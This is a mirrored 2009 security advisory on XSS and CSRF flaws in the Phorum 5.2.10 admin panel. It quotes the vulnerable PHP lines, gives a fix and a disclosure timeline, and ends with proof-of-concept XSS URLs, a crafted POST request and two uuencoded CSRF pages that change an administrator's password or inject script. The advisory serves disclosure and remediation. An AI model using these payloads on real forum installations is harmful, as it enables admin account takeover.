Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21679
HistoryApr 17, 2009 - 12:00 a.m.

Phorum < 5.2.10 Cross-Site Scripting/Request Forgery

2009-04-1700:00:00
vulners.com
96

#=cicatriz <[email protected]>=#=(advisories)=#
/) /) /)
_ _ (/ ________ // _ (/ _ _____ _
(/__(
)(
)(
(
(
)(
) (/((/) /) o ()/ ((/
.-/
#=Phorum < 5.2.10 Cross-Site Scripting/Request Forgery=#=
~(_/
~=#
#=
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Advisory & Vulnerability Information=#=
~=#

    Title: Phorum &lt; 5.2.10 Cross-Site Scripting/Request Forgery
    Advisory ID: VUDO-2009-1504
    Advisory URL: http://research.voodoo-labs.org/advisories/4
    Date founded: 10-4-2009
    Vendors contacted: Phorum
    Class: Multiple Vulnerabilities
    Remotely Exploitable: Yes
    Localy Exploitable: No
    Exploit/PoC Available: Yes
    Policy: Full Disclosure Policy &#40;RFPolicy&#41; v2.0

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Tested & Vulnerable packages=#=
~=#

    [+] Phorum 5.2.10
    [+] Phorum 5.2-dev

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Solutions and Workarounds=#=
=#

Phorum released some important fixes for the Cross-Site Scripting vulnerabilities [1]

#=~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Technical Information=#=
=#

Phorum [2] suffers from a series of Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF)
vulnerabilities, trough the admin panel and the "file uploading" section (with an XML file but it only works
if you are using Mozilla Firefox as browser and a crafted XUL file). Some other vulnerabilities:

[*] Cross-Site Scripting (XSS):

    The most simple XSS can be executed easily and the error can be found on the file
    &quot;include/admin/banlist.php&quot;:
    
    +++include/admin/banlist.php @@ 88:104
        88      if&#40;$_GET[&quot;curr&quot;] &amp;&amp; $_GET[&quot;delete&quot;]&#41;{
        89  
        90          ?&gt;
        91  
        92          &lt;div class=&quot;PhorumInfoMessage&quot;&gt;
        93              Are you sure you want to delete this entry?
        94              &lt;form action=&quot;&lt;?php echo $PHORUM[&quot;admin_http_path&quot;] ?&gt;&quot; method=&quot;post&quot;&gt;
        95                  &lt;input type=&quot;hidden&quot; name=&quot;module&quot; value=&quot;&lt;?php echo $module; ?&gt;&quot; /&gt;

XXX 96 <input type="hidden" name="curr" value="<?php echo $_GET['curr']; ?>" />
97 <input type="hidden" name="delete" value="1" />
98 <input type="submit" name="confirm" value="Yes" />&nbsp;<input type="submit"
name="confirm" value="No" />
99 </form>
100 </div>
101
102 <?php
103
104 } else {
—include/admin/banlist.php

    The same security flaw can be found in the file &quot;include/admin/banlist.php&quot;, line 94, and can be also
    exploited with a single GET petition.
    Here&#39;s another XSS attack but more difficult to be exploited, because you need to modify the user&#39;s
    cookies to store the vector and redirect him to the &quot;versioncheck.php&quot; file:
    
    +++versioncheck.php @@ 79:83
        79    &lt;?php if &#40;$upgrade_available&#41; { ?&gt;
        80      &lt;div class=&quot;notify_upgrade&quot;&gt;

XXX 81 <a target="_top" href="admin.php?module=version">New Phorum version <?php print
$upgrade_available ?> available!</a>
82 </div>
83 <?php } else { ?>
—versioncheck.php

    There&#39;s another XSS on the file &quot;include/admin/users.php&quot; but it can only be exploited from a POST 
    request on this lines:
    
    +++include/admin/users.php @@ 87:93
        87          //check for a valid email
        88          if &#40;!empty&#40;$_POST[&quot;email&quot;]&#41;&#41; {
        89              include&#40;&#39;./include/email_functions.php&#39;&#41;;
        90              $valid_email = phorum_valid_email&#40;$_POST[&quot;email&quot;]&#41;;
        91              if &#40;$valid_email !== true&#41;

XXX 92 $error = "The email \"$_POST[email]\" is not valid!";
93 }
—include/admin/users.php

    Also the line 82, on the same file, its vulnerable to the same attack.
    In the users.php file there&#39;s another vulnerable line, trough the request Referer parameter or 
    $_POST[&#39;referrer&#39;].
    
    +++include/admin/users.php @@ 52:59
        52  if &#40;isset&#40;$_POST[&#39;referrer&#39;]&#41;&#41; {

XXX 53 $referrer = $_POST['referrer'];
54 unset($_POST['referrer']);
55 } elseif (isset($_SERVER['HTTP_REFERER'])) {
XXX 56 $referrer = $_SERVER['HTTP_REFERER'];
57 } else {
58 $rererrer = "{$PHORUM["admin_http_path"]}?module=users";
59 }
—include/admin/users.php
+++include/admin/users.php @@ 659:661
659
XXX 660 $frm->hidden("referrer", $referrer);
661
—include/admin/users.php

    A way to fix this can be done using htmlspecialchars&#40;&#41; or htmlentities&#40;&#41; and any other function that 
    does a sanity check, i.e:
    
    +++
    &lt;input type=&quot;hidden&quot; name=&quot;curr&quot; value=&quot;&lt;?php echo htmlentities&#40;$_GET[&#39;curr&#39;], ENT_QUOTES,
    &#39;UTF-8&#39;&#41;; ?&gt;&quot; /&gt;
    ---

[*] Cross-Site Request Forgery (CSRF):

    All the forms on the admin panel it&#39;s vulnerable to CSRF because of the lack of security tokens to
    check if the administrator really wants to do those actions. Without a token an attacker can create
    a new user as admin or change the administrator passwords and other personal data. Another type of
    action can be done with a simple bbcode [img] tag. When the administrator see the [img] tag with a 
    special crafted URL, an action, such as delete a topic, could be executed.
    A more dangerous attack can lead to JavaScript execution.

[3] Other vulnerabilities were founded on this application. (WHK)

#=~~~~~~~~~~~~~~~~~~~~=#
#=Proof of Concept=#=
~=#

[*] Cross-Site Scripting (XSS):

    +++
    http://localhost/phorum-5.2.10/admin.php?module=banlist&amp;curr=1&quot;&gt;&lt;img/src/onerror=&quot;alert&#40;&#39;voodoo&#39;&#41;;
    &amp;delete=1
    ---
    
    +++
    http://www.victim.com/phorum-5.2.10/admin.php?module=badwords&amp;curr=1&quot;&gt;&lt;img/src/onerror=&quot;
    alert&#40;&#39;voodoo&#39;&#41;;&amp;delete=1
    ---
    
    +++
    javascript:with&#40;document&#41;cookie=&quot;phorum_upgrade_available=
    &lt;iframe/src=&#39;javascript:alert&#40;/voodoo/.source&#41;&#39;&gt;&quot;,
    location=&quot;http://www.victim.com/phorum-5.2.10/versioncheck.php&quot;;
    ---
    
    +++
    POST /phorum-5.2.10/admin.php HTTP/1.1 
    
    module=users&amp;referrer=http&#37;3A&#37;2F&#37;2Fwww.victim.com&#37;2Fphorum-5.2.10&#37;2Fadmin.php&#37;3Fmodule&#37;3Dusers
    &amp;addUser=1&amp;username=xss&amp;real_name=xss&amp;
    email=&#37;3Ciframe&#37;2Fsrc&#37;3D&#37;22javascript&#37;3Aalert&#37;28&#37;27voodoo&#37;27&#37;29&#37;3B&#37;22&#37;3E&amp;password1=xss&amp;password2=xss
    &amp;admin=0
    ---

[*] Cross-Site Request Forgery (CSRF):

    Other CSRF proof-of-concept exploits can be found on:
            [*] http://research.voodoo-labs.org/code/exploits/phorum/5.2.10/
            
    If the administrator see this special crafted HTML page, his password will be changed to a string 
    specified by the attacker. &#40;uuencoded&#41;
    
    +++
    begin 644 attack.html
    M/&amp;AT;6P^&quot;CQB;V1Y/@H&#41;/&amp;@Q/E!H;W&#41;U;2&#96;U+C&#40;N,3&#96;@&#40;F5D:71U&lt;V5R&#40;B!#
    M4U&#41;&amp;&#40;&amp;&#37;T=&amp;&#37;C:SPO:#$^&quot;@D&#92;9F]R;2!A8W1I;VX]&#40;FAT=&#39;&#96;Z+R]W=W&lt;N=FEC
    M=&amp;EM+F-O;2]P:&amp;]R=6TM-2XR+C$P+V&#37;D;6EN+G!H&lt;&quot;&#40;@;65T:&amp;]D/2&#41;03U-4
    M&#40;CX*&quot;0D&#92;:6YP=70@;F&#37;M93TB;6]D=6QE&#40;B!V86QU93TB=7-E&lt;G,B&#40;&#39;1Y&lt;&amp;4]
    M&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA;64]&#40;G-E8W1I;VXB&#40;&#39;9A;&#39;5E/2&#41;M86EN
    M&#40;B!T&gt;7!E/2&#41;H:61D96XB/@H&#41;&quot;3QI;G!U=&quot;!N86UE/2&#41;R969E&lt;G&#41;E&lt;B&#40;@=F&#37;L
    M=64]&#40;FAT=&#39;&#96;Z+R]W=W&lt;N=FEC=&amp;EM+F-O;2]P:&amp;]R=6TM-2XR+C$P+V&#37;D;6EN
    M+G!H&lt;&quot;&#40;@=&#39;EP93TB:&amp;ED9&amp;5N&#40;CX*&quot;0D&#92;:6YP=70@;F&#37;M93TB=7-E&lt;E]I9&quot;&#40;@
    M=F&#37;L=64]&#40;C$B&#40;&#39;1Y&lt;&amp;4]&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA;64]&#40;G&#41;E86Q?
    M;F&#37;M92&#40;@&lt;VEZ93TB-3&#96;B&#40;&#39;9A;&#39;5E/2&#40;B&#40;&#39;1Y&lt;&amp;4]&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;/&amp;EN
    M&lt;&#39;5T&#40;&amp;YA;64]&#40;F5M86EL&#40;B!S:7IE/2&#40;U,&quot;&#40;@=F&#37;L=64]&#40;F&#37;D;6EN0&#39;=E8FUA
    M&lt;W1E&lt;BYC;VTB&#40;&#39;1Y&lt;&amp;4]&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA;64]&#40;G!A&lt;W-W
    M;W&#41;D,2&#40;@=F&#37;L=64]&#40;G!W;F5D&#40;B!T&gt;7!E/2&#41;H:61D96XB/@H&#41;&quot;3QI;G!U=&quot;!N
    M86UE/2&#41;P87-S=V]R9#&#40;B&#40;&#39;9A;&#39;5E/2&#41;P=VYE9&quot;&#40;@=&#39;EP93TB:&amp;ED9&amp;5N&#40;CX*
    M&quot;0D&#92;=&amp;5X=&amp;&#37;R96$@&lt;W1Y;&amp;4]&#40;G=I9&#39;1H.C!P&gt;#MH96EG:&#39;0Z,&#39;!X.V&#41;O&lt;F1E
    M&lt;CHP&lt;&#39;@[&#40;B!N86UE/2&#41;S:6=N871U&lt;F4B&#40;&amp;-O;&#39;,]&#40;C,P&#40;B!R;W=S/2&#40;U&#40;CYV
    M;V]D;V&#92;&#92;+W1E&gt;&#39;1A&lt;F5A/@H&#41;&quot;3QS96QE8W0@&lt;W1Y;&amp;4]&#40;G=I9&#39;1H.C!P&gt;#MH
    M96EG:&#39;0Z,&#39;!X.V&#41;O&lt;F1E&lt;CHP&lt;&#39;@[&#40;B!N86UE/2&#41;A8W1I=F4B/@H&#41;&quot;0D&#92;;W!T
    M:6]N&#40;&#39;9A;&#39;5E/2&#40;P&#40;CY.;SPO;W!T:6]N/@H&#41;&quot;0D&#92;;W!T:6]N&#40;&#39;9A;&#39;5E/2&#40;Q
    M&#40;B!S96QE8W1E9#TB&lt;V5L96-T960B/EEE&lt;SPO;W!T:6]N/@H&#41;&quot;3PO&lt;V5L96-T
    M/@H&#41;&quot;3QS96QE8W0@&lt;W1Y;&amp;4]&#40;G=I9&#39;1H.C!P&gt;#MH96EG:&#39;0Z,&#39;!X.V&#41;O&lt;F1E
    M&lt;CHP&lt;&#39;@[&#40;B!N86UE/2&#41;A9&amp;UI;B&#40;^&quot;@D&#41;&quot;3QO&lt;&#39;1I;VX@=F&#37;L=64]&#40;C&#96;B/DYO
    M/&quot;]O&lt;&#39;1I;VX^&quot;@D&#41;&quot;3QO&lt;&#39;1I;VX@=F&#37;L=64]&#40;C$B&#40;&#39;-E;&amp;5C=&amp;5D/2&#41;S96QE
    M8W1E9&quot;&#40;^665S/&quot;]O&lt;&#39;1I;VX^&quot;@D&#41;/&quot;]S96QE8W0^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&#39;9A;&#39;5E
    M/2&#41;5&lt;&amp;1A=&amp;4B&#40;&amp;-L87-S/2&#41;I;G!U=&quot;UF;W&#41;M+7-U8FUI=&quot;&#40;@=&#39;EP93TB:&amp;ED
    M9&amp;5N&#40;CX*&quot;3PO9F]R;3X*&quot;3QS8W&#41;I&lt;&#39;0^&lt;V5T5&amp;EM96]U=&quot;AF=6YC=&amp;EO;B@I
    M&gt;V1O8W5M96YT+F9O&lt;FUS6S!=+G-U8FUI=&quot;@I.WTL,&#39;@U,#&#96;I.SPO&lt;V-R:7!T
    3/@H&#92;+V&#41;O9&#39;D^&quot;CPO:&#39;1M;#X*&quot;@&#96;&#96;
    &#96;
    end
    ---

[*] CSRF + XSS:

    This is another way to exploit those two types of attacks &#40;XSS and CSRF&#41;. If the administrator see
    this page a new folder will be created and the name is going to be a special HTML tag with a
    JavaScript script. &#40;uuencoded&#41;
    
    +++
    begin 644 attack.html
    M/&amp;AT;6P^&quot;CQB;V1Y/@H&#41;/&amp;@Q/E!H;W&#41;U;2&#96;U+C&#40;N,3&#96;@&#40;FYE=V9O;&amp;1E&lt;B&#40;@
    M0U-21BM84U,@871T86-K/&quot;]H,3X*&quot;3QF;W&#41;M&#40;&amp;&#37;C=&amp;EO;CTB:&#39;1T&lt;#HO+W=W
    M=RYV:6-T:6TN8V]M+W!H;W&#41;U;2TU+C&#40;N,3&#96;O861M:6XN&lt;&amp;AP&#40;B!M971H;V0]
    M&#40;E!/4U0B/@H&#41;&quot;3QI;G!U=&quot;!T&gt;7!E/2&#41;H:61D96XB&#40;&amp;YA;64]&#40;F9O;&amp;1E&lt;E]F
    M;&amp;&#37;G&#40;B!V86QU93TB,2&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&#39;1Y&lt;&amp;4]&#40;FAI9&amp;1E;B&#40;@;F&#37;M93TB
    M;6]D=6QE&#40;B!V86QU93TB;F5W9F]L9&amp;5R&#40;CX*&quot;0D&#92;:6YP=70@=&#39;EP93TB:&amp;ED
    M9&amp;5N&#40;B!N86UE/2&#41;N86UE&#40;B!S:7IE/2&#40;S,&quot;&#40;@=F&#37;L=64]&#40;B9L=#MI9G&#41;A;64O
    M&lt;W&#41;C/2=J879A&lt;V-R:7!T.F&#37;L97&#41;T*&quot;]V;V]D;V&#92;O+G-O=7&#41;C92D[&#41;R9G=#LB
    M&#40;#X&#92;+W1D/@H&#41;&quot;3QT97AT87&#41;E82!N86UE/2&#41;D97-C&lt;FEP=&amp;EO;B&#40;@8V]L&lt;STB
    M-C&#96;B&#40;&#39;&#41;O=W,]&#40;C$P&#40;B!S=&#39;EL93TB=VED=&amp;@Z,&#39;!X.VAE:6=H=#HP&lt;&#39;@[8F]R
    M9&amp;5R.C!P&gt;#LB/CPO=&amp;5X=&amp;&#37;R96$^/&quot;]T9#X*&quot;0D&#92;&lt;V5L96-T&#40;&#39;-T&gt;6QE/2&#41;W
    M:61T:#HP&lt;&#39;@[:&amp;5I9VAT.C!P&gt;#MB;W&#41;D97&#40;Z,&#39;!X.R&#40;@;F&#37;M93TB&lt;&amp;&#37;R96YT
    M7VED&#40;B&#96;^&quot;@D&#41;&quot;3QO&lt;&#39;1I;VX@=F&#37;L=64]&#40;C$B&#40;&#39;-E;&amp;5C=&amp;5D/2&#41;S96QE8W1E
    M9&quot;&#40;^+2U.;VYE+2T&#92;+V]P=&amp;EO;CX*&quot;0D&#92;+W-E;&amp;5C=#X*&quot;0D&#92;&lt;V5L96-T&#40;&#39;-T
    M&gt;6QE/2&#41;W:61T:#HP&lt;&#39;@[:&amp;5I9VAT.C!P&gt;#MB;W&#41;D97&#40;Z,&#39;!X.R&#40;@;F&#37;M93TB
    M86-T:79E&#40;B&#96;^&quot;@D&#41;&quot;3QO&lt;&#39;1I;VX@=F&#37;L=64]&#40;C&#96;B/DYO/&quot;]O&lt;&#39;1I;VX^&quot;@D&#41;
    M&quot;3QO&lt;&#39;1I;VX@=F&#37;L=64]&#40;C$B&#40;&#39;-E;&amp;5C=&amp;5D/2&#41;S96QE8W1E9&quot;&#40;^665S/&quot;]O
    M&lt;&#39;1I;VX^&quot;@D&#41;/&quot;]S96QE8W0^&quot;@D&#41;/&#39;-E;&amp;5C=&quot;!S=&#39;EL93TB=VED=&amp;@Z,&#39;!X
    M.VAE:6=H=#HP&lt;&#39;@[8F]R9&amp;5R.C!P&gt;#LB&#40;&amp;YA;64]&#40;G1E;7!L871E&#40;B&#96;^&quot;@D&#41;
    M&quot;3QO&lt;&#39;1I;VX@=F&#37;L=64]&#40;F5M97&#41;A;&amp;0B&#40;&#39;-E;&amp;5C=&amp;5D/2&#41;S96QE8W1E9&quot;&#40;^
    M4&amp;AO&lt;G5M&#40;$5M97&#41;A;&amp;0@5&amp;5M&lt;&amp;QA=&amp;4@,2XP/&quot;]O&lt;&#39;1I;VX^&quot;@D&#41;&quot;3QO&lt;&#39;1I
    M;VX@=F&#37;L=64]&#40;F-L87-S:6,B/D-L87-S:6,@4&amp;AO&lt;G5M&#40;&#37;1E;7!L871E&#40;#&#96;N
    M-#PO;W!T:6]N/@H&#41;&quot;0D&#92;;W!T:6]N&#40;&#39;9A;&#39;5E/2&#41;L:6=H=&#39;=E:6=H=&quot;&#40;^4&amp;AO
    M&lt;G5M&#40;$QI9VAT=V5I9VAT&#40;&#37;1E;7!L871E&#40;#$N,#PO;W!T:6]N/@H&#41;&quot;3PO&lt;V5L
    M96-T/@H&#41;&quot;3QS96QE8W0@&lt;W1Y;&amp;4]&#40;G=I9&#39;1H.C!P&gt;#MH96EG:&#39;0Z,&#39;!X.V&#41;O
    M&lt;F1E&lt;CHP&lt;&#39;@[&#40;B!N86UE/2&#41;L86YG=6&#37;G92&#40;@/@H&#41;&quot;0D&#92;;W!T:6]N&#40;&#39;9A;&#39;5E
    M/2&#41;E;F=L:7-H&#40;CY&#37;;F=L:7-H&#40;&quot;A!;65R:6-A;BD&#92;+V]P=&amp;EO;CX*&quot;0D&#92;+W-E
    M;&amp;5C=#X*&quot;0D&#92;:6YP=70@=&#39;EP93TB:&amp;ED9&amp;5N&#40;B!I9#TB861M:6Y?8VAE8VMB
    M;WA?,2&#40;@;F&#37;M93TB=G&#41;O;W0B&#40;&#39;9A;&#39;5E/2&#40;Q&#40;CX*&quot;0D&#92;:6YP=70@=&#39;EP93TB
    M:&amp;ED9&amp;5N&#40;B!V86QU93TB4W5B;6ET&#40;B!C;&amp;&#37;S&lt;STB:6YP=70M9F]R;2US=6&#41;M
    M:70B/@H&#41;/&quot;]F;W&#41;M/@H&#41;/&#39;-C&lt;FEP=#YS9714:6UE;W5T*&amp;9U;F-T:6]N*&quot;E[
    M9&amp;]C=6UE;G0N9F]R;7-;,&#37;TN&lt;W5B;6ET*&quot;D[?2PP&gt;#4P,&quot;D[/&quot;]S8W&#41;I&lt;&#39;0^
    2&quot;CPO8F]D&gt;3X*/&quot;]H=&amp;UL/@H*
    &#96;
    end
    ---

#=~~~~~~~~~~~~~~~~~~~~~~=#
#=Reporting Timeline=#=
~=#

    [*] 10-04-2009: Bugs discovered.
    [*] 10-04-2009: Voodoo contacted the vendor &#40;advisory draft included&#41;.
    [*] 13-04-2009: The vendor released fixes for Cross-Site Scripting vulnerabilities.
    [*] 15-04-2009: Advisory VUDO-2009-1504 published.

#=~~~~~~~~~~~~~~=#
#=References=#=
~=#

    [1] http://trac.phorum.org/changeset/4009
    [2] http://www.phorum.org/
    [3] http://foro.elhacker.net/nivel_web/multiples_fallas_en_phorum_5210-t248300.0.html

#=cicatriz <[email protected]>=#=(advisories)=#
#=miй 15 abr 2009 ART=#=
~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#